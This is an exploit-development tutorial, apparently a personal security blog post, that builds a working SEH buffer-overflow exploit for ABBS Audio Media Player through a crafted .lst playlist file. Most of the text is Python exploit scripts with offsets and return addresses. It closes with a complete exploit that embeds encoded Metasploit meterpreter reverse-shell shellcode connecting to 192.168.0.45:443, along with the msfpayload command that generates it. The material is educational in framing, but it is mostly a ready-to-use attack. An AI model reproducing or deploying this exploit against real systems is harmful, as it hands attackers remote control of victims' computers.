A few weeks ago, one of my followers asked me if I can help him writing a functional exploit for the current version of the Audio Media Player by ABBS because he’s experiencing problems with successfully exploiting a NULL-byte issue. All exploits that are available over at the Exploit Database like this one or even this Metasploit module are either only working on specific versions of Windows or are not working with the current version of the application.
The goal is to write an exploit which is usable in a reliable way among all Windows versions (I tend to call those exploits WinALL in further articles 🙂 ). The application itself is neither very amazing nor actual, but the behaviour is quite interesting when exploiting the vulnerability which was initially discovered by Rh0!
Let’s have a look.
1. Reproduce the crash
#!/usr/bin/python file="poc.lst" poc="\xCC" * 5000 try: print "[*] Creating exploit file...\n"; writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print "[*] File successfully created!"; except: print "[!] Error while creating file!";
If you open the created .lst file with the application, it crashes and looks like a typical SEH overflow issue:
2. Finding the exact position of the EIP control
(I skip the detailed steps here – mentioned too many times 😉 )
#!/usr/bin/python file="poc.lst" junk1="\xCC" * 4116 eip="\x42" * 4 junk2="\xCC" * 1000 poc= junk1 + eip + junk2 try: print "[*] Creating exploit file...\n"; writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print "[*] File successfully created!"; except: print "[!] Error while creating file!";
EIP control after 4116 bytes of junk data:
If you have a look at the content of ESP+8 in the dump view, you recognize the typcial nseh-structure of a SEH-based overflow issue. So far so good.
3. Overwrite SEH address with pop/pop/ret
#!/usr/bin/python from struct import pack file="poc.lst" junk1="\xCC" * 4116 eip=pack('<L',0x004127bb) # POP EBX # POP EBP # RETN 0x0C ** [amp.exe] ** junk2="\xCC" * 1000 poc= junk1 + eip + junk2 try: print "[*] Creating exploit file...\n"; writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print "[*] File successfully created!"; except: print "[!] Error while creating file!";
Taking an address directly from the amp.exe to bring reliability into game. Now things are getting interesting. Executing the exploit so far results in something unexpected:
Using the p/p/r instruction (0x004127BB) at the EIP breaks somehow the flow of the exploit. The expected junk2 – data after the nseh/seh handler containing \xCCs are lost and the EIP is set to CCCCCC at ESP-4. Since we’re using a POP EBX, POP EBP, we would expect this registers to contain the pop’ed values (7C9132A8 & 0012F688) but they contain completely different values (EBX = CCCCCC and EBP=0012F9B8). What happened here ?
The following modified exploit source shows a bit better what happens:
#!/usr/bin/python from struct import pack file="poc.lst" junk1="\xCC" * 4112 nseh="\x42" * 4 eip=pack('<L',0x004127bb) # POP EBX # POP EBP # RETN 0x0C ** [amp.exe] ** junk2="\xCC" * 1000 poc= junk1 + nseh + eip + junk2 try: print "[*] Creating exploit file...\n"; writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print "[*] File successfully created!"; except: print "[!] Error while creating file!";
This results in:
The nseh is overwritten correctly, but EIP still contains the CC’s from ESP-4.
4. WTF happens here ?
Well quite easy. The SE handler contains an address with a NULL byte, which breaks the further exploit and “resets” the EIP to the next lower position (ESP-4) before the nseh.
~EDIT:
Thanks Rh0 for the hint. The reason why the EIP is reset to ESP-4: The application executes the commands (starting at 0x0042652B)
ADD ESP, 1000 POP EDI POP ESI POP EBX
and finally RETs (@0x00426534) into the overwritten part of the stack.
This is not bad at all, since you are able to execute code at this position without any problems, even if it contains NULL bytes. Looks like the NULL byte is only a problem at the SE handler position.
This needs some small modifications to the exploit code:
Since the nseh cannot be used, you can replace it with some junk data:
#!/usr/bin/python from struct import pack file="poc.lst" junk1="\xCC" * 4108 eip=pack('<L',0x00412c91) # ADD ESP,14 # POP EDI # POP ESI # POP EBX # RETN ** [amp.exe] ** nseh="\x90" * 4 breaker=pack('<L',0x004127bb) # POP EBX # POP EBP # RETN 0x0C ** [amp.exe] ** poc= junk1 + eip + nseh + breaker try: print "[*] Creating exploit file...\n"; writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print "[*] File successfully created!"; except: print "[!] Error while creating file!";
At the new position of the EIP you can use a combination of
ADD ESP,14 # POP EDI # POP ESI # POP EBX # RETN
to jump to the code at ESP+20, which points to the beginning of our input 🙂
Executing the script results in the EIP being moved to our CCs which means control over the application flow:
5. Finalize the exploit
Now the CC’s can be easily replaced with any kind of shellcode (nice: 4108 bytes of space for the shellcode).
The first address of the EIP cannot be used due to the NULL condition, you can simply replace this with some NULLs – called “breaker” in my script.
Now any available shellcode can be used, like a reverse meterpreter shell – the rest of the available space for the shellcode is filled by NOPs – my preferred way of filling uneccessary spaces 😀
#!/usr/bin/python from struct import pack file="exploit.lst" # windows/meterpreter/reverse_tcp LHOST=192.168.0.45 LPORT=443 # Encoder: x86/shikata_ga_nai # powered by Metasploit # msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.45 LPORT=443 R | msfencode -b '\x00\x0a\x0d' shellcode = ("\xdb\xd8\xd9\x74\x24\xf4\xbf\x90\xf4\xd9\xa0\x5a\x2b\xc9" + "\xb1\x49\x31\x7a\x19\x83\xc2\x04\x03\x7a\x15\x72\x01\x25" + "\x48\xfb\xea\xd6\x89\x9b\x63\x33\xb8\x89\x10\x37\xe9\x1d" + "\x52\x15\x02\xd6\x36\x8e\x91\x9a\x9e\xa1\x12\x10\xf9\x8c" + "\xa3\x95\xc5\x43\x67\xb4\xb9\x99\xb4\x16\x83\x51\xc9\x57" + "\xc4\x8c\x22\x05\x9d\xdb\x91\xb9\xaa\x9e\x29\xb8\x7c\x95" + "\x12\xc2\xf9\x6a\xe6\x78\x03\xbb\x57\xf7\x4b\x23\xd3\x5f" + "\x6c\x52\x30\xbc\x50\x1d\x3d\x76\x22\x9c\x97\x47\xcb\xae" + "\xd7\x0b\xf2\x1e\xda\x52\x32\x98\x05\x21\x48\xda\xb8\x31" + "\x8b\xa0\x66\xb4\x0e\x02\xec\x6e\xeb\xb2\x21\xe8\x78\xb8" + "\x8e\x7f\x26\xdd\x11\xac\x5c\xd9\x9a\x53\xb3\x6b\xd8\x77" + "\x17\x37\xba\x16\x0e\x9d\x6d\x27\x50\x79\xd1\x8d\x1a\x68" + "\x06\xb7\x40\xe5\xeb\x85\x7a\xf5\x63\x9e\x09\xc7\x2c\x34" + "\x86\x6b\xa4\x92\x51\x8b\x9f\x62\xcd\x72\x20\x92\xc7\xb0" + "\x74\xc2\x7f\x10\xf5\x89\x7f\x9d\x20\x1d\xd0\x31\x9b\xdd" + "\x80\xf1\x4b\xb5\xca\xfd\xb4\xa5\xf4\xd7\xdc\x4f\x0e\xb0" + "\x22\x27\x10\x6d\xcb\x35\x11\x6c\xb0\xb0\xf7\x04\xd6\x94" + "\xa0\xb0\x4f\xbd\x3b\x20\x8f\x68\x46\x62\x1b\x9e\xb6\x2d" + "\xec\xeb\xa4\xda\x1c\xa6\x97\x4d\x22\x1d\xbd\x71\xb6\x99" + "\x14\x25\x2e\xa3\x41\x01\xf1\x5c\xa4\x19\x38\xc8\x07\x76" + "\x45\x1c\x88\x86\x13\x76\x88\xee\xc3\x22\xdb\x0b\x0c\xff" + "\x4f\x80\x99\xff\x39\x74\x09\x97\xc7\xa3\x7d\x38\x37\x86" + "\x7f\x05\xee\xef\x05\x7f\x84\x03\xc6") junk1="\x90" * (4108 - len(shellcode)) eip=pack('<L',0x00412c91) # ADD ESP,14 # POP EDI # POP ESI # POP EBX # RETN ** [amp.exe] ** junk2="\x90" * 4 evil="\x00" * 4 # Terminat0r poc=junk1 + shellcode + eip + junk2 + evil try: print "[*] Creating exploit file...\n"; writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print "[*] File successfully created!"; except: print "[!] Error while creating file!";
You’re able to use an address from the amp.exe itself at the new EIP position, and this makes the exploit reliable among all known Windows versions – even Windows 8:
The crashing application results in a thrilling meterpreter shell:
The public exploit can be found over at Exploit-DB.